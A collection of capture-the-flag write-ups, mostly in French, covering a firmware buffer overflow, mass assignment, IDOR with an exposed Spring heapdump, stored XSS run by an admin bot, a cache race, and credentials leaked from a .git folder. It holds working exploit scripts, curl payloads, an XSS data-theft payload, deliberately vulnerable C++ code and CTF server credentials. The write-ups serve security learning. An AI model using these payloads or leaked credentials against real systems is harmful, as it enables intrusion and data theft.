
**Auteur :** Math-X

## Contexte

On dispose d'une interface web supposément hébergée sur une puce volée au département R&D de MilSec. L'énoncé du challenge :

> *L'un de nos agents a volé cette puce au département R&D de MilSec. Nous ignorons ce qu'elle contient pour l'instant, nous avons seulement défacé l'interface web et dumpé les sources du serveur embarqué. En l'inspectant un peu plus, on pourrait peut être trouver quelque chose d'intéressant.*

Deux services réseau sont exposés :

| Service | Port | Description |
|---------|------|-------------|
| HTTP | `7777` | Interface web |
| TCP | `5555` | Shell série UART |

Le code source du firmware (`server.cpp`) est fourni en pièce jointe du challenge.

## Étape 1 : Reconnaissance

### 1.1 Page d'accueil

En naviguant sur `http://<target>:7777`, on tombe sur une page d'accueil défacée par **Null-Syndicate** :

```
Hello NetRunner, welcome to Null-Syndicate!
One of our agents stole this chip from the MilSec R&D department.
[...] The original web interface is here: → Good Luck ←
```

Le lien mène vers `relic.html`.

### 1.2 Interface Relic

`relic.html` est une interface terminal. On tente quelques commandes évidentes :

```
$ help
Available commands: help, whoami, exit. But none will help you.

$ whoami
You are nobody. For now.

$ exit
You can't leave. The Relic has no exit.
```

Avec des caractères spéciaux :

```
$ ls; id
[HTTP 418] Even my bootloader laughs at you.

$ $(whoami)
[HTTP 500] NODAOZDOZONBFZAROUH3 What did you do?
```

Les commandes contenant `;`, `$`, `|`, backticks, guillemets renvoient un code HTTP aléatoire (400, 403, 418, 500, 503).

Tentative directe d'accès admin :

```
$ admin
[HTTP 403] Access denied. You are not admin. (yet)
```

Le `(yet)` est un indice il existe un moyen de devenir admin.

### 1.3 Découverte du shell UART

Le challenge expose le port `5555`. Connexion via `nc` :

```bash
nc <target> 5555
```

```
╔══════════════════════════════════╗
║  RELIC  ·  UART SHELL  v1.0      ║
║  Null-Syndicate  //  MilSec R&D  ║
╚══════════════════════════════════╝

$ help
Available commands:
  help      - Show this help message
  whoami    - Display your identity
  exit      - Try to exit (hint: you can't)
  status    - Check the status of the device
  admin     - [LOCKED] requires elevated privileges
```

La commande `admin` est listée mais verrouillée :

```
$ admin
Permission denied. Nice try.

$ whoami
uid=1337(nobody) gid=1337(nobody) groups=1337(nobody)

$ status
Device : RELIC-MK1
Uptime : 69d 04h 20m 00s
Shell  : user (restricted)
Hint   : something in this shell is not what it seems...
```

`admin` est verrouillé sur l'UART, et bloqué en HTTP 403 sur l'interface web. L'indice du `status` (« something in this shell is not what it seems ») suggère de creuser plus loin.

---

## Étape 2 : Analyse du code source

L'énoncé indique que les sources du firmware ont été dumpées. On ouvre `server.cpp` et on tombe rapidement sur la fonction `handleRelicApi()` :

```cpp
void handleRelicApi() {
    String cmdStr = server.arg("cmd");
    char cmd_buf[64];

    if ((int)cmdStr.length() <= (int)sizeof(cmd_buf)) {
        strncpy(cmd_buf, cmdStr.c_str(), sizeof(cmd_buf));
        cmd_buf[sizeof(cmd_buf) - 1] = '\0';
    } else {
        strcpy(cmd_buf, cmdStr.c_str());

        if (strstr(cmd_buf + sizeof(cmd_buf), "admin")) {
            shellState = SHELL_ADMIN;
            server.send(200, "application/json",
              "{\"msg\":\"Relic: I see you struggle. Keep trying, little hacker.\"}");
            return;
        }

        server.send(200, "text/plain", "????\r\nCorrupted stack.\r\n");
        return;
    }

    if (cmd.indexOf("admin") >= 0) {
        server.send(403, ...);
        return;
    }
    // ...
}
```

Deux observations critiques :

1. Une branche utilise `strcpy()` sur l'input utilisateur dans un buffer de pile **fixe de 64 octets**, pas de bounds checking.
2. `strstr()` est appelé **après la fin du buffer** (`cmd_buf + sizeof(cmd_buf)`), c'est-à-dire dans la zone d'overflow.

## Étape 3 : Compréhension de la vulnérabilité

L'idée :

- Input ≤ 64 octets → branche « sûre » → la vérification `admin` renvoie un 403.
- Input > 64 octets → branche `strcpy()` → la vérification 403 est **complètement contournée**. À la place, `strstr()` scanne la zone juste après le buffer. Si la chaîne `"admin"` s'y trouve, `shellState` bascule sur `SHELL_ADMIN`.

Autrement dit : envoyer `admin` en input court hit le check 403, mais envoyer `admin` **après 64 octets de padding** prend la branche d'overflow, et `strstr()` retrouve `"admin"` dans la région débordée le state passe admin en mémoire firmware.

## Étape 4 : Exploitation

**Exactement 64 octets** réponse normale, branche safe :

```bash
curl "http://<target>:7777/relic_api?cmd=$(python3 -c 'print("A"*64)')"
```
```json
{"msg":"Relic: I see you struggle. Keep trying, little hacker."}
```

**65 octets, sans gadget** — overflow confirmé, pile corrompue :

```bash
curl "http://<target>:7777/relic_api?cmd=$(python3 -c 'print("A"*65)')"
```
```
????
Corrupted stack.
```

Offset 64 = boundary exacte. Octet 65+ tombe dans la zone d'overflow.

## Étape 5 — Construction de l'exploit

```
┌───────────────────────────────────────┬───────────┐
│  64 octets de padding                 │  "admin"  │
│  AAAAAAAAAAAAAAAA...AAAAAAAA (×64)    │           │
└───────────────────────────────────────┴───────────┘
 ↑                                       ↑
 remplit cmd_buf exactement              zone d'overflow
                                         strstr trouve "admin" ici
                                         → shellState = SHELL_ADMIN
```

```bash
curl "http://<target>:7777/relic_api?cmd=$(python3 -c 'print("A"*64+"admin")')"
```

Réponse :

```json
{"msg":"Relic: I see you struggle. Keep trying, little hacker."}
```

La réponse paraît parfaitement normale, l'exploit fonctionne **silencieusement**. `shellState` a basculé dans la mémoire du firmware, mais l'interface web ne montre rien. Il faut vérifier côté UART.


## Étape 6 — Récupération du flag via UART

On se reconnecte à l'UART :

```bash
nc <target> 5555
```

Vérification de l'élévation de privilèges :

```
$ whoami
uid=0(root) gid=0(root) groups=0(root)

$ status
Device : RELIC-MK1
Uptime : 67d 04h 20m 00s
Shell  : admin (UNRESTRICTED)
Memory : stack integrity COMPROMISED
Note   : buffer overflow detected in cmd_buf — too late to patch.
```

Exécution de la commande `admin` précédemment verrouillée :

```
$ admin
You are already root. There is nowhere higher to go.
Flag: INTERIUT{w4k3_Th3_f*Ck_uP_S4mUr41}
```


## Exploit complet

```bash
# 1. Déclencher le buffer overflow
curl "http://<target>:7777/relic_api?cmd=$(python3 -c 'print("A"*64+"admin")')"

# 2. Récupérer le flag via UART
nc <target> 5555
# puis : flag
```

Version automatisée :

```python
#!/usr/bin/env python3
import socket, requests, time

HOST = "<target>"

# Étape 1 — déclencher la BOF via HTTP
payload = "A" * 64 + "admin"
r = requests.get(f"http://{HOST}:7777/relic_api", params={"cmd": payload})
print(f"[*] HTTP {r.status_code}: {r.text.strip()}")

# Étape 2 récupérer le flag via UART
time.sleep(0.5)
s = socket.create_connection((HOST, 5555))
s.recv(512)              # discard banner
s.sendall(b"flag\r\n")
time.sleep(0.2)
print("[+]", s.recv(256).decode().strip())
s.close()
```


Writeups pour le challenge Phantom Liberty de difficulté Easy que j'ai créé pour l'InterIUT 2026

Phantom Liberty  - InterIUT CTF 2026 🇫🇷


### InterIUT CTF 2026

Difficulté : Easy 

Pour prouver votre valeur au sein de GhostSurface la branche de web hackers d'élite de Null-Syndicate, vous devez infiltrer l’un des services publics de HelixGate Systems.

Ce portail est utilisé par des entreprises partenaires pour gérer leurs commandes de composants.
Un membre de Null-Syndicate a découvert que l’application aurait un défaut de conception important.

Si vous réussissez, GhostSurface pourra installer une backdoor chez HelixGate, ce serait la première brèche dans le réseau de MilSec...


## CHALLENGE OVERVIEW

Il faut exploiter une vulnérabilité de type **Mass Assignment** lors de la création de compte

Par défaut quand on crée un compte seul les paramètres username, email et password sont envoyés

Cependant, une fois sur la page on voit que l'on a le role user, donc il doit exister un role admin, si on essaie d'aller sur /admin on a le message d'erreur suivant : 

```
You do not have permission to access this resource. 
Admin privileges are required.
is_admin == false
```

On connait maintenant le paramètre qui permet de valider si un utilisateur est admin ou non.

Il suffit de rajouter se paramètre et de le mettre à **true** lors de l'inscription.

**Requête à envoyer pour élever ses privilèges:**
```bash
curl -X POST http://localhost:5000/register \
  -H "Content-Type: application/json" \
  -d '{
    "username": "root",
    "email": "root@hacker.null",
    "password": "SecurePass123!",
    "is_admin": true
  }'
```

On obtient alors un accès au /admin et le flag est donné.

Writeups pour le challenge Never Fade Away de difficulté Easy que j'ai créé pour l'InterIUT 2026

Never Fade Away  - InterIUT CTF 2026 🇫🇷


**Author : Math-X**

Un membre de Null-Syndicate s'est fait capturer.

Avant de se faire choper, il a réussi à transmettre une information cruciale :
un service interne vulnérable serait exposé sur l'infrastructure de MilSec**.

Cependant l'accès nécessite une autorisation générée par la plateforme de
ticketing SaaS de HelixGate

Les hackers de GhostSurface espèrent y trouver des informations internes
critiques sur MilSec.
---

## Description

Vous avez accès à la plateforme de ticketing **HelixGate** utilisée par MilSec
pour ses échanges avec le support de sa DSI.

**URL :** `http://<host>:5001`

**Actuator (domaine local) :** `http://actuator.milsec.lan:8080/actuator`

### Étape 1 — IDOR sur HelixGate

Créez un compte sur la plateforme HelixGate et connectez-vous.
Votre dashboard affiche vos propres tickets. Énumérez les IDs avec un script ou l'Intruder de Burp :

```
GET /tickets/1
GET /tickets/2
...
GET /tickets/100
```

Le challenge contient ~100 tickets seedés avec **2 tickets sensibles** placés à
des indices aléatoires :

> **Vuln :** `/tickets/<id>` ne filtre pas par `user_id` on a donc une IDOR classique. 

Il suffit alors d'énumérer les identifiants de tickets avec l'intruder de Burp Suite et de trier par taille les réponses on découvre alors 2 tickets intéressants : 

```
        [INTERNE][SYSADMIN] Incident connexion bastion SSH MilSec,
        Bonjour support,
        Je suis Adrien Morel, administrateur de l'actuator sur le composant FO-500-Ticketing au sein de MilSec,
        et je rencontre un problème de connexion
        au bastion SSH interne.
        Utilisateur attendu : milsec-agent
        Erreur observée : Permission denied (publickey,keyboard-interactive).
        Pouvez-vous vérifier la rotation des clés autorisées côté serveur ?
        Merci,
        Equipe SysAdmin MilSec,
```

On apprend par ce ticket qu'un serveur ssh est exposé, qu'une clé SSH a été utilisé pour se connecter avec l'utilisateur milsec-agent

```
    [INTERNE] Accès service monitoring Spring Boot - MilSec,
        Bonjour
        Comme convenu avec l'équipe infrastructure, voici les informations d'accès
        au service de monitoring de la plateforme de ticketing déployé sur notre infrastructure.
        Token d'authentification : Bearer mls-9e7f3a2c-4b1d-8e0f-5a6c-3b2d9e8f7a1c
        CONFIDENTIEL — Ne pas transmettre hors périmètre MilSec
        Cordialement,Support HelixGate
```

On obtient ainsi le token Bearer pour accéder à l'actuator et au endpoint /heapdump !

Avec ces 2 informations on comprends plus ou moins rapidement qu'il faut dump une capture mémoire de l'application via l'actuator pour y retrouver la clé, en effet : 

Spring Boot Actuator ajoute à chaque microservice un ensemble de fonctionnalités permettant de débugger et de surveiller ceux-ci. En gros c'est un service de debug Java.

Dans ce service plusieurs endpoint permettants aux dev de debugger une app sont accessibles, dont un en particulier `/heapdum`. 

Définition de /heapdump dans la doc springboot :

```
The heapdump endpoint provides a heap dump from the application’s JVM.

Retrieving the Heap Dump
To retrieve the heap dump, make a GET request to /actuator/heapdump. The response is binary data and can be large. Its format depends upon the JVM on which the application is running. When running on a HotSpot JVM the format is HPROF and on OpenJ9 it is PHD. Typically, you should save the response to disk for subsequent analysis. When using curl, this can be achieved by using the -O option, as shown in the following example:
```

---

### Étape 2 — Spring Boot Actuator Heapdump


L'actuator est accessible via le domaine local :

`http://localhost:4444/actuator`

On repère que le endpoint /heapdump de l'actuator est exposé on peut donc récupérer un dump de la heap en format hprof (format de capture mémoire java).

http://localhost:4444/actuator/heapdump 

---

### Étape 3 — Extraction de la clé SSH

Ouvrez le `.hprof` dans un analyseur de heap (Eclipse MAT, VisualVM) **ou**
faites des `strings` comme un batard jusqu'à trouver le bon pattern :

```bash
strings heapdump.hprof | grep -A 50 "BEGIN OPENSSH PRIVATE KEY"
```
Sauvegardez la clé dans un fichier et corrigez les permissions :

```bash
chmod 600 ctf_key
```
---
### Étape 4 — Shell SSH et flag

```bash
ssh -i ctf_key -p 2222 milsec-agent@ssh.milsec.lan
cat flag.txt
```

GG vous savez maintenant comment faire fermer un service facilement au sein d'une ESN lol. 


Writeups pour le challenge Knockin' on Heaven's Door de difficulté Medium que j'ai créé pour l'InterIUT 2026 

Knockin' on Heaven's Door - InterIUT CTF 2026 🇫🇷


## Overview

**Target:** `http://worker01.ctfd.live:13804`

The application is an Express-based platform with authentication (JWT), a file upload feature, user profiles, and an admin “headless bot” that visits reported content.

## Findings

1. **IDOR / Broken Access Control**
   - `GET /api/files/:id` and the global listing `GET /api/files` allow any authenticated user to access arbitrary files, including `flag.txt`.

2. **Insecure Direct Object Ownership (owner override)**
   - `POST /api/files/upload` trusts a client-controlled `userId` field. This allows creating files owned by another user (including admin).

3. **Stored XSS (admin-bot trigger)**
   - File names are injected into the UI via `innerHTML` without escaping (referenced as `files.js`). A crafted filename leads to stored XSS.
   - The payload can be executed in the admin context via the reporting endpoint/bot (`/api/report`).

4. **Predictable ObjectId proximity (weak brute-force space)**
   - The admin `_id` appears close to the file id near the flag (e.g., `6951c954…6889`). This reduces the search space for a targeted guess.

## Step-by-step Exploitation

### 1 Register an account and obtain a JWT

```bash
curl -s -X POST "$URL/api/auth/register" \
  -H 'Content-Type: application/json' \
  -d '{"username":"attacker","password":"Password123!"}'
```

This returns a token (and, in my run, an id similar to `6951cf7b8df71f4e604f68fa`).

### 2 FLAG_1 — Direct file exposure

The first flag was accessible directly from the uploads path:

```bash
curl -s http://worker01.ctfd.live:13804/uploads/flag.txt
```

Result:

`FLAG{*************}`

### 3 FLAG_2 - Prepare stored XSS + owner impersonation

The goal is to get code execution in the admin session (via the headless bot) and exfiltrate the profile data/flag.

High-level idea:

- Guess the admin user id around `6951c9548df71f4e604f68XX` (close to the flag file id).
- Upload a file **owned by the guessed admin** by setting `userId` in `/api/files/upload`.
- Use a malicious `filename` that triggers XSS in the admin UI.
- When the bot visits, the payload reads `/api/profile` using the admin token and re-uploads the stolen content into **our** account as `loot_<tag>.txt`.

Example payload:

```js
(async()=>{
  const t=localStorage.getItem('token');
  if(!t) return;
  const r=await fetch('/api/profile',{headers:{'X-Access-Token':t}});
  const j=await r.json();
  await fetch('/api/files/upload',{
    method:'POST',
    headers:{'X-Access-Token':t,'Content-Type':'application/json'},
    body:JSON.stringify({
      filename:'loot_<tag>.txt',
      content:btoa(j.flag||''),
      userId:'6951cf7b8df71f4e604f68fa'
    })
  });
})()
```

Injected via a filename such as:

`pwn_<tag>");</button><img src=x onerror="<payload>">`

### 4 Upload the XSS file (as admin) using your token

```bash
curl -s -X POST "$URL/api/files/upload" \
  -H "X-Access-Token: $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"filename":"pwn_<tag>\");</button><img src=x onerror=\"<payload>\">","content":"dGVzdA==","userId":"<adminIdGuess>"}'
```

### 5 Trigger the admin bot

```bash
curl -s "$URL/api/report" -H "X-Access-Token: $TOKEN"
```

### 6 Retrieve the loot file from your own account

List your files:

```bash
curl -s "$URL/api/files/me" -H "X-Access-Token: $TOKEN"
```

Download the loot file by id (example id: `6951d2b38df71f4e604f694f`):

```bash
curl -s "$URL/api/files/6951d2b38df71f4e604f694f" \
  -H "X-Access-Token: $TOKEN"
```

Result:

`FLAG{**************}`

Admin impact was achieved by chaining **IDOR + owner override + stored XSS** to execute JavaScript in the admin session and re-upload the extracted data.


Writeup for a french challenge focusing on IDOR, stored XSS, and broken access control in an Express file platform.

Hodor


## Overview

**Challenge summary**

> “I only had one job! Reading Larry's message at 6:00 on this pastebin-like website.”
> You woke up at 9:30. Find another way to get in touch with Larry.

The application is open-source. We know:

- Larry uses his real name as a username.
- He likes **l33tsp34k**.
- The flag format is: `ECW{username-phone_number-domain_name_of_his_email}`

## 1 — Username enumeration via `/dashboard/<username>`

In the open-source code (`app.py`), the route below is protected by `@login_required`, but it returns **different flash messages** depending on whether the user exists.

Key behavior:

- If the user does **not** exist ⇒ `"Stop trying to access other users dashboards or face consequences !"`
- If the user exists but is **not** you ⇒ `"You shouldn't access another user's dashboard. =("

This gives us a clean username-existence oracle as long as we’re authenticated.

Relevant excerpt:

```py
@app.route('/dashboard/<username>')
@cache.cached(timeout=0, unless=unauthorized)
@login_required
def dashboard(username):
    
	user = User.query.filter_by(username=username).first()
      
	if not user:
		flash("Stop trying to access other users dashboards or face consequences !")
		return redirect(url_for('errorpage'))

	if user.id != current_user.id:
		flash("You shouldn't access another user's dashboard. =(")
		flash("User " + user.username + " has been alerted.")
		return redirect(url_for('errorpage'))
      
	return render_template('dashboard.html', name=current_user.username, email=current_user.email, phone=current_user.phone)
```

## Brute-forcing Larry’s leetspeak username

We create any account (example: `ThaySan:password`) and then generate leetspeak permutations for `larry`. Using `pyleetspeak` (all combinations), we test each candidate against `/dashboard/<candidate>` and look for the “user exists” message.

```py
from requests import Session
from bs4 import BeautifulSoup
from pyleetspeak.LeetSpeaker import LeetSpeaker

HOST = "challenges.challenge-ecw.eu"
PORT = 34497
URL = f"http://{HOST}:{PORT}"

USERNAME = "ThaySan"
PASSWORD = "password"


def login(session: Session, username: str, password: str):
	data = {"username": username, "password": password}
	session.post(f"{URL}/login", data=data, allow_redirects=False)


def get_dashboard_flash(session: Session, username: str) -> str:
	html = session.get(f"{URL}/dashboard/{username}").text
	return BeautifulSoup(html, 'html.parser').find('li').text


session = Session()
login(session, USERNAME, PASSWORD)

TARGET = "larry"
leeter = LeetSpeaker(
	mode="basic",
	get_all_combs=True,
	user_changes=[("l", "L"), ("r", "R"), ("y", "Y")],
)

for candidate in leeter.text2leet(TARGET):
	# If we get the “does not exist” message, keep searching
	if get_dashboard_flash(session, candidate).startswith("Stop trying"):
		continue
	print(f"FOUND: {candidate}")
	break
```

Output:

```text
FOUND: L4Rry
```

So Larry’s username is **`L4Rry`**.

## 2 — Cache key collision + race condition to leak the dashboard

The dashboard route is wrapped with:

```py
@cache.cached(timeout=0, unless=unauthorized)
```

This effectively makes dashboards **cacheable indefinitely**.

Separately, when posting a “paste/message”, the app:

1. Checks for duplicate titles in `message_list`
2. Appends to `message_list`
3. Sleeps for **0.5s**
4. Writes the message content into the cache using the title as the cache key

```py
# POST logic
if request.method == 'POST':
	data = request.get_json()

	for item in message_list:
		if data.get('title') == item.get('title'):
			return 'Title already in use !', 418

	message_list.append({"title": data.get('title'), "ttl": data.get('ttl'), "creation": int(time.time())})

	time.sleep(0.5)

	cache.set(data.get('title'), data.get('message'), timeout=data.get('ttl'))
	return "Ok"
```

When rendering the message list, the server iterates over `message_list` but pulls message bodies from the cache:

```py
sent_list = []
for item_dict in message_list:
	ttl = item_dict.get('ttl')
	creation = item_dict.get('creation')
	sent_list.append({
		"title": item_dict.get('title'),
		"message": cache.get(item_dict.get('title')),
		"ttl": item_dict.get('ttl') + item_dict.get('creation')-int(time.time())
	})
```

### Why this matters

Flask-Caching has a well-known default for view caching keys. By default, the key is derived from the request path, typically resembling:

`view/<request.path>`

So Larry’s cached dashboard at `/dashboard/L4Rry` maps to a key like:

`view//dashboard/L4Rry`

### Exploit primitive

If we create a paste with **title = `view//dashboard/L4Rry`**, the server will:

- Add it to `message_list` immediately
- Wait **0.5s** before overwriting that cache key

During that 0.5s window, when we fetch the home page (message list), the app will display:

- The entry from `message_list` (our title)
- But the message content from `cache.get(title)` which still contains **Larry’s cached dashboard HTML**

That gives us a time-of-check/time-of-use style leak.

## Leak Larry’s dashboard HTML : My solve script

Below is the final exploit script you provided (used as-is):

```py
import requests
from time import sleep

# Target URL
target = "http://challenges.challenge-ecw.eu:34497"

# Create a session to maintain cookies
session = requests.Session()

# Payload with the known username
data = {
	'title': 'view//dashboard/L4Rry',
	'ttl': 1,
	'message': "test"
}

print("Injecting payload...")
res = session.post(target + '/', headers={"Content-Type": "application/json"}, json=data)

print("Waiting 16 seconds for TTL to expire...")
sleep(16)

print("Retrieving content...")
res = requests.get(target)

if "Welcome" in res.text:
	print("✓ Success! Content saved to out.html")
	with open("out.html", "w") as f:
		f.write(res.text)
else:
	print("✗ Failed - No 'Welcome' content found")
	print(f"Response length: {len(res.text)} characters")
```

When the exploit hits, the leaked HTML contains:

- `Welcome, L4Rry!`
- `Your email is Congr@tulat.on!`
- `Your phone number is 1333333337!`

From `Congr@tulat.on!`, the **email domain** is `tulat.on`.

Final flag:

`ECW{L4Rry-1333333337-tulat.on}`


## Root cause summary

- **Information disclosure via differential error messages** ⇒ user enumeration.
- **Insecure cache key design** (user-controlled key space overlaps with internal view cache keys).
- **Race window** (0.5s sleep between list update and cache write) ⇒ reliable cache read-before-overwrite.



Writeup for a Hard web CTF challenge mainly focused on the web cache vulnerabilities during the European Cyber Week 2025

Tacticool Bin - ECW2025


## Recon / Enumeration

The challenge page provided a direct link to the target website. At first glance, it looked benign: a single clickable button that did nothing and a line indicating the last production deployment date.

![](https://raw.githubusercontent.com/math-x-io/Writeups/refs/heads/main/STHACK2025/img/luxtherm-site.png)

Using Wappalyzer, I identified the stack as Apache. I quickly probed a common path: `/.htaccess`, which returned a 403 (expected on a properly configured server).

Before running a full enumeration, I tried a few typical paths manually. By pure luck, `.git/HEAD` was publicly accessible.

## Dumping Apache Web Root Files via Exposed `.git/`

An exposed `.git/` directory is a classic repository disclosure. If the server allows access to `.git/`, it often becomes possible to reconstruct the entire working tree (and the full Git history), which can reveal sensitive implementation details and sometimes secrets left in the codebase or CI configuration.

To automate the extraction, I used [`git-dumper`](https://github.com/arthaud/git-dumper), a tool designed specifically for this scenario:

```sh
git-dumper http://51.15.214.59/.git ~/luxtherm
```

The dump produced multiple directories and files:

- `.git/`: full Git metadata and history
- `src/`: production deployment script(s)
- `var/www/`: application sources served by Apache
- `.gitignore`: ignored files/patterns
- `.gitlab-ci.yml`: CI pipeline responsible for auto-deploy on push ([GitLab CI/CD pipelines](https://docs.gitlab.com/ci/pipelines/))

I started by reviewing the deployment script `src/script.sh`:

```sh
#!/bin/bash

# Arrêter le script en cas d'erreur
set -e

echo 'Creation du chemin vers la clé SSH privée'
mkdir -p "$HOME/.ssh/"

echo 'Écrire la clé SSH privée dans un fichier'
SSH_PRIVATE_KEY_PATH="$HOME/.ssh/id_rsa"
echo "$SSH_PRIVATE_KEY" > "$SSH_PRIVATE_KEY_PATH"
chmod 600 "$SSH_PRIVATE_KEY_PATH"

echo 'verification'
ls -lisah "$SSH_PRIVATE_KEY_PATH"

echo 'Informations de connexion au serveur'
SERVER_USER="root"
SERVER_IP="51.15.214.59"


# Deployer le site web
scp -r -i "$SSH_PRIVATE_KEY_PATH" -o StrictHostKeyChecking=no var/www/html "$SERVER_USER@$SERVER_IP":/var/www/.

# Commande pour se connecter au serveur et déployer l'application
ssh -i "$SSH_PRIVATE_KEY_PATH" -o StrictHostKeyChecking=no "$SERVER_USER@$SERVER_IP" << 'EOF'
    # Commandes à exécuter sur le serveur

    # cette synthaxe est deprecated, elle est remplacée par le scp qq lignes plus haut
    # git clone https://root.luxtherm:2025sthacK+-/@gitlab.com/root.luxtherm-group/webapp-auto-deploy

    # indication de la date du dernier déploiement
    HORODATE=$(date)
    sed -i "s@MOTIF@$HORODATE@g" /var/www/html/index.html

    # Ajoutez ici d'autres commandes nécessaires pour construire et démarrer votre application
    # Par exemple :
    # npm install
    # npm run build
    # pm2 restart all
EOF

echo 'Supprimer la clé SSH privée après utilisation'
rm "$SSH_PRIVATE_KEY_PATH"
```

Key takeaways:

- The deployment user is `root`, meaning the pipeline deploys with full privileges.
- The GitLab repository is `gitlab.com/root.luxtherm-group/webapp-auto-deploy`.
- The deployment process relies on an SSH private key (`$SSH_PRIVATE_KEY`) injected via CI variables.

If we can retrieve that private key (or any credential that grants access to the CI logs), we can likely SSH as `root`.

## Hunting the SSH Private Key

First, I inspected the Git history:

```bash
git log

commit 0ab08cd06e26350b947341147bd9174c6ea98f8d
Author: ######
Date:   Tue May 20 22:37:28 2025 +0200

    Deploiement auto du site Luxtherm

commit a81b1787a5c8eccb4120dad9ebe9fbd32d1683d8
Author: root luxtherm root.luxtherm@gmail.com
Date:   Tue May 20 19:35:24 2025 +0000

    Modifier script.sh

commit e2adf9251214a15553e016b03e8568a2d0d2d1fb
Author: root luxtherm root.luxtherm@gmail.com
Date:   Tue May 20 19:26:44 2025 +0000

    Modifier script.sh

commit e71e6afa2acfb320817f10af3f63be03ab1402c5
Author: root luxtherm root.luxtherm@gmail.com
Date:   Tue May 20 17:35:05 2025 +0000

    Mettre à jour le fichier .gitlab-ci.yml

commit 0805a52efd200f3645167eb1d99ec2483793be0d
Author: root luxtherm root.luxtherm@gmail.com
Date:   Tue May 20 17:30:00 2025 +0000

    Mettre à jour le fichier .gitlab-ci.yml

commit f9da8bcf0c8a47c38a17745311634aec399174e3
Author: root luxtherm root.luxtherm@gmail.com
Date:   Tue May 20 17:29:31 2025 +0000

    Mettre à jour le fichier .gitlab-ci.yml

commit a11fd1dbf19fb66ecc64baef0cda3858490aa39f
Author: ######
Date:   Tue May 20 19:24:56 2025 +0200

    Premiere version de script de deploiement

commit ef88ce29f019a182d58c43a7dcafcb04e29fac45
Author: root luxtherm root.luxtherm@gmail.com
Date:   Tue May 20 17:17:52 2025 +0000

    Initial commit
```

I did not find a committed private key in previous revisions. Next, I reviewed `.gitlab-ci.yml`:

```yml
stages:
  - Deploy

job_Deploy:
  stage: Deploy
  script:
  - echo 'Pipeline de déploiement du site web en production'
  - echo 'NE PAS MODIFIER LE PIPELINE POUR QUE LE CHALLENGE RESTE JOUABLE POUR LES AUTRES, MERCI'
  - echo 'DEBUG:'$SSH_PRIVATE_KEY
  - chmod u+x src/script.sh
  - src/script.sh
```

This is a critical CI/CD anti-pattern: it prints a secret to the job logs:

`echo 'DEBUG:'$SSH_PRIVATE_KEY`

So the private key should be visible in pipeline output — if we can access the project.

However, the GitLab project was private, and attempting to access it resulted in a 403.

## Recovering GitLab Credentials from the Dump

Since the repository content was already dumped from the server, I searched through the dumped files and found credentials left in `.git/config`:

```
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[remote "origin"]
#root.luxtherm@gmail.com:********	
	url = https://root.luxtherm:2025sthacK+-/@gitlab.com/root.luxtherm-group/webapp-auto-deploy
	fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
	remote = origin
	merge = refs/heads/main
```

Normally, this file only contains Git configuration (remotes, branches, etc.). Here, a developer left the username/password in a comment and also embedded basic-auth credentials directly in the remote URL.

With these credentials, I could authenticate to GitLab and access the project.

## Reviewing the GitLab Project & CI Pipeline Logs

As expected, the same dumped files were present in the repository.

![](https://raw.githubusercontent.com/math-x-io/Writeups/refs/heads/main/STHACK2025/img/Luxtherm-git-1.png)

In the pipeline history, I found a successful run where the deploy job completed.

![](https://raw.githubusercontent.com/math-x-io/Writeups/refs/heads/main/STHACK2025/img/Luxtherm-git-3.png)

The private key was printed in clear text in the CI job output. After reformatting it and placing it in `~/.ssh/`, I could SSH into the target as root:

```bash
ssh root@51.15.214.59
```

Shell access as `root` made retrieving the flag straightforward.

Full writeup for the Luxtherm challenge during the STHACK2025 at Bordeaux, covering exposed .git repository leakage, CI/CD secrets disclosure, and SSH access.

WRITEUPS

Filter by Subject

Phantom Liberty - InterIUT CTF 2026 🇫🇷

Never Fade Away - InterIUT CTF 2026 🇫🇷

Knockin' on Heaven's Door - InterIUT CTF 2026 🇫🇷

Hodor

Tacticool Bin - ECW2025

WRITEUPSWRITEUPSWRITEUPS

Filter by Subject

Phantom Liberty - InterIUT CTF 2026 🇫🇷

Never Fade Away - InterIUT CTF 2026 🇫🇷

Knockin' on Heaven's Door - InterIUT CTF 2026 🇫🇷

Hodor

Tacticool Bin - ECW2025

WRITEUPS